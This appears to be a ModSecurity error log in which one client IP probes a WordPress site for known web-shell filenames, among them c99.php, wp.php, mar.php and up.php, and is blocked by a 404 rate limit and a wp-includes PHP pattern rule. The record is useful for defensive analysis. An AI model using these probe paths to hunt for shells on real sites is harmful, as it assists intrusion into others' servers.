[Sat Feb 07 09:21:02.190448 2026] [:error] [pid 55157:tid 55183] [client 74.248.113.199:5470] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aYaTfn36JdtTn2bTEowzGAAAARU"]
[Sat Feb 07 09:21:02.946511 2026] [:error] [pid 50780:tid 50797] [client 74.248.113.199:35548] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aYaTfutUmIu2JHM2CrvmFQAAAM8"]
[Sat Feb 07 09:21:03.840285 2026] [:error] [pid 55157:tid 55179] [client 74.248.113.199:40267] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aYaTf336JdtTn2bTEowzHwAAARE"]
[Sat Feb 07 09:21:04.929249 2026] [:error] [pid 50672:tid 50709] [client 74.248.113.199:10328] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class-t.api.php"] [unique_id "aYaTgA9o0jq1XS8Nv7O-DAAAAEE"]
[Sat Feb 07 09:21:05.721176 2026] [:error] [pid 55157:tid 55166] [client 74.248.113.199:38616] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.trash7309/f/"] [unique_id "aYaTgX36JdtTn2bTEowzIwAAAQQ"]
[Sat Feb 07 09:21:06.344434 2026] [:error] [pid 43182:tid 43186] [client 74.248.113.199:34038] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.trash7309/f/"] [unique_id "aYaTgvEC82JnxmrnFYkYngAAAUI"]
[Sat Feb 07 09:21:07.329039 2026] [:error] [pid 50780:tid 50803] [client 74.248.113.199:35581] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.trash7309/f/"] [unique_id "aYaTg-tUmIu2JHM2CrvmGQAAANU"]
[Sat Feb 07 09:21:07.930491 2026] [:error] [pid 50780:tid 50802] [client 74.248.113.199:5475] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.trash7309/f/"] [unique_id "aYaTg-tUmIu2JHM2CrvmHAAAANQ"]
[Sat Feb 07 09:21:08.646621 2026] [:error] [pid 50672:tid 50729] [client 74.248.113.199:35554] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYaThA9o0jq1XS8Nv7O-EAAAAFU"]
[Sat Feb 07 09:21:09.414583 2026] [:error] [pid 50780:tid 50798] [client 74.248.113.199:47171] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYaThetUmIu2JHM2CrvmHgAAANA"]
[Sat Feb 07 09:21:10.136961 2026] [:error] [pid 55157:tid 55185] [client 74.248.113.199:40299] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYaThn36JdtTn2bTEowzMQAAARc"]
[Sat Feb 07 09:21:10.736889 2026] [:error] [pid 50671:tid 50698] [client 74.248.113.199:34027] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp.php"] [unique_id "aYaThrvqLohWBI_mqBMecQAAABI"]
[Sat Feb 07 09:21:11.332476 2026] [:error] [pid 50780:tid 50804] [client 74.248.113.199:8534] [client 74.248.113.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aYaTh-tUmIu2JHM2CrvmJwAAANY"]
[Sat Feb 07 09:21:11.865421 2026] [:error] [pid 43182:tid 43204] [client 74.248.113.199:5154] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaTh_EC82JnxmrnFYkYogAAAVQ"]
[Sat Feb 07 09:21:12.398438 2026] [:error] [pid 43182:tid 43190] [client 74.248.113.199:58182] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaTiPEC82JnxmrnFYkYpQAAAUY"]
[Sat Feb 07 09:21:13.102849 2026] [:error] [pid 50673:tid 50743] [client 74.248.113.199:5679] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaTiWVwLsaZ7aKO2ck7rgAAAIg"]
[Sat Feb 07 09:21:13.785656 2026] [:error] [pid 43182:tid 43201] [client 74.248.113.199:34024] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYaTifEC82JnxmrnFYkYrQAAAVE"]
[Sat Feb 07 09:21:14.587912 2026] [:error] [pid 55157:tid 55162] [client 74.248.113.199:5690] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h.php"] [unique_id "aYaTin36JdtTn2bTEowzOQAAAQA"]
[Sat Feb 07 09:21:15.297327 2026] [:error] [pid 50671:tid 50702] [client 74.248.113.199:38609] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h.php"] [unique_id "aYaTi7vqLohWBI_mqBMedgAAABY"]
[Sat Feb 07 09:21:15.989498 2026] [:error] [pid 50671:tid 50680] [client 74.248.113.199:8558] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h.php"] [unique_id "aYaTi7vqLohWBI_mqBMeegAAAAA"]
[Sat Feb 07 09:21:16.535025 2026] [:error] [pid 50673:tid 50757] [client 74.248.113.199:5129] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h.php"] [unique_id "aYaTjGVwLsaZ7aKO2ck7tQAAAJY"]
[Sat Feb 07 09:21:17.087427 2026] [:error] [pid 50671:tid 50697] [client 74.248.113.199:37442] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/skin/install/default/security.php"] [unique_id "aYaTjbvqLohWBI_mqBMefQAAABE"]
[Sat Feb 07 09:21:17.602201 2026] [:error] [pid 50671:tid 50703] [client 74.248.113.199:33998] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/skin/install/default/security.php"] [unique_id "aYaTjbvqLohWBI_mqBMegAAAABc"]
[Sat Feb 07 09:21:18.249212 2026] [:error] [pid 50673:tid 50747] [client 74.248.113.199:40317] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/skin/install/default/security.php"] [unique_id "aYaTjmVwLsaZ7aKO2ck7twAAAIw"]
[Sat Feb 07 09:21:18.947603 2026] [:error] [pid 50780:tid 50800] [client 74.248.113.199:9252] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/skin/install/default/security.php"] [unique_id "aYaTjutUmIu2JHM2CrvmNQAAANI"]
[Sat Feb 07 09:21:19.597212 2026] [:error] [pid 50673:tid 50756] [client 74.248.113.199:40258] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aYaTj2VwLsaZ7aKO2ck7uwAAAJU"]
[Sat Feb 07 09:21:20.499759 2026] [:error] [pid 50673:tid 50746] [client 74.248.113.199:34011] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aYaTkGVwLsaZ7aKO2ck7wgAAAIs"]
[Sat Feb 07 09:21:21.358070 2026] [:error] [pid 50671:tid 50680] [client 74.248.113.199:5647] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aYaTkbvqLohWBI_mqBMehQAAAAA"]
[Sat Feb 07 09:21:22.258960 2026] [:error] [pid 50673:tid 50750] [client 74.248.113.199:40283] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wrt.php"] [unique_id "aYaTkmVwLsaZ7aKO2ck7ygAAAI8"]
[Sat Feb 07 09:21:22.817785 2026] [:error] [pid 50673:tid 50742] [client 74.248.113.199:34015] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/Core-EconX/up.php"] [unique_id "aYaTkmVwLsaZ7aKO2ck7zwAAAIc"]
[Sat Feb 07 09:21:23.568521 2026] [:error] [pid 50673:tid 50739] [client 74.248.113.199:58204] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/Core-EconX/up.php"] [unique_id "aYaTk2VwLsaZ7aKO2ck71wAAAIQ"]
[Sat Feb 07 09:21:24.307724 2026] [:error] [pid 43182:tid 43184] [client 74.248.113.199:37486] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/Core-EconX/up.php"] [unique_id "aYaTlPEC82JnxmrnFYkYuAAAAUA"]
[Sat Feb 07 09:21:25.318056 2026] [:error] [pid 50672:tid 50719] [client 74.248.113.199:37467] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/Core-EconX/up.php"] [unique_id "aYaTlQ9o0jq1XS8Nv7O-EQAAAEs"]
[Sat Feb 07 09:21:25.967481 2026] [:error] [pid 43182:tid 43198] [client 74.248.113.199:36388] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/"] [unique_id "aYaTlfEC82JnxmrnFYkYvAAAAU4"]
[Sat Feb 07 09:21:26.583138 2026] [:error] [pid 50671:tid 50685] [client 74.248.113.199:37477] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/"] [unique_id "aYaTlrvqLohWBI_mqBMeiwAAAAU"]
[Sat Feb 07 09:21:27.208986 2026] [:error] [pid 50671:tid 50682] [client 74.248.113.199:38623] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/"] [unique_id "aYaTl7vqLohWBI_mqBMejAAAAAI"]
[Sat Feb 07 09:21:28.477394 2026] [:error] [pid 43182:tid 43190] [client 74.248.113.199:5163] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/"] [unique_id "aYaTmPEC82JnxmrnFYkYxAAAAUY"]
[Sat Feb 07 09:21:32.406230 2026] [:error] [pid 50671:tid 50697] [client 74.248.113.199:37452] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/c99.php"] [unique_id "aYaTnLvqLohWBI_mqBMekQAAABE"]
[Sat Feb 07 09:21:34.820473 2026] [:error] [pid 50671:tid 50685] [client 74.248.113.199:5688] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/c99.php"] [unique_id "aYaTnrvqLohWBI_mqBMemQAAAAU"]
[Sat Feb 07 09:21:38.359062 2026] [:error] [pid 55157:tid 55183] [client 74.248.113.199:9260] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/c99.php"] [unique_id "aYaTon36JdtTn2bTEowzWAAAARU"]
[Sat Feb 07 09:21:39.281719 2026] [:error] [pid 50671:tid 50702] [client 74.248.113.199:8547] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/images/c99.php"] [unique_id "aYaTo7vqLohWBI_mqBMeoAAAABY"]
[Sat Feb 07 09:21:40.330793 2026] [:error] [pid 43182:tid 43192] [client 74.248.113.199:8513] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aYaTpPEC82JnxmrnFYkY0wAAAUg"]
[Sat Feb 07 09:21:41.779026 2026] [:error] [pid 43182:tid 43184] [client 74.248.113.199:42570] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aYaTpfEC82JnxmrnFYkY1gAAAUA"]
[Sat Feb 07 09:21:42.868144 2026] [:error] [pid 50673:tid 50736] [client 74.248.113.199:46576] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aYaTpmVwLsaZ7aKO2ck8KQAAAIE"]
[Sat Feb 07 09:21:44.179501 2026] [:error] [pid 50673:tid 50756] [client 74.248.113.199:36414] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/png.php"] [unique_id "aYaTqGVwLsaZ7aKO2ck8NgAAAJU"]
[Sat Feb 07 09:21:45.693702 2026] [:error] [pid 50673:tid 50742] [client 74.248.113.199:27085] [client 74.248.113.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aYaTqWVwLsaZ7aKO2ck8RAAAAIc"]
[Sat Feb 07 09:21:53.470392 2026] [:error] [pid 50672:tid 50710] [client 74.248.113.199:5667] [client 74.248.113.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/moon.php"] [unique_id "aYaTsQ9o0jq1XS8Nv7O-QQAAAEI"]
[Sat Feb 07 09:21:55.176451 2026] [:error] [pid 43182:tid 43196] [client 74.248.113.199:40289] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aYaTs_EC82JnxmrnFYkY8AAAAUw"]
[Sat Feb 07 09:21:55.750186 2026] [:error] [pid 50780:tid 50793] [client 74.248.113.199:58205] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aYaTs-tUmIu2JHM2CrvmXAAAAMs"]
[Sat Feb 07 09:21:56.358896 2026] [:error] [pid 50672:tid 50728] [client 74.248.113.199:27078] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aYaTtA9o0jq1XS8Nv7O-QwAAAFQ"]
[Sat Feb 07 09:21:56.904829 2026] [:error] [pid 50780:tid 50791] [client 74.248.113.199:38519] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aYaTtOtUmIu2JHM2CrvmXwAAAMk"]
[Sat Feb 07 09:21:57.475712 2026] [:error] [pid 50671:tid 50686] [client 74.248.113.199:41376] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aYaTtbvqLohWBI_mqBMeqgAAAAY"]
[Sat Feb 07 09:21:58.000760 2026] [:error] [pid 50671:tid 50702] [client 74.248.113.199:5220] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aYaTtbvqLohWBI_mqBMeqwAAABY"]
[Sat Feb 07 09:21:58.517756 2026] [:error] [pid 50671:tid 50691] [client 74.248.113.199:58202] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aYaTtrvqLohWBI_mqBMerQAAAAs"]
[Sat Feb 07 09:21:59.196818 2026] [:error] [pid 50780:tid 50792] [client 74.248.113.199:41364] [client 74.248.113.199] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mans.php"] [unique_id "aYaTt-tUmIu2JHM2CrvmYQAAAMo"]
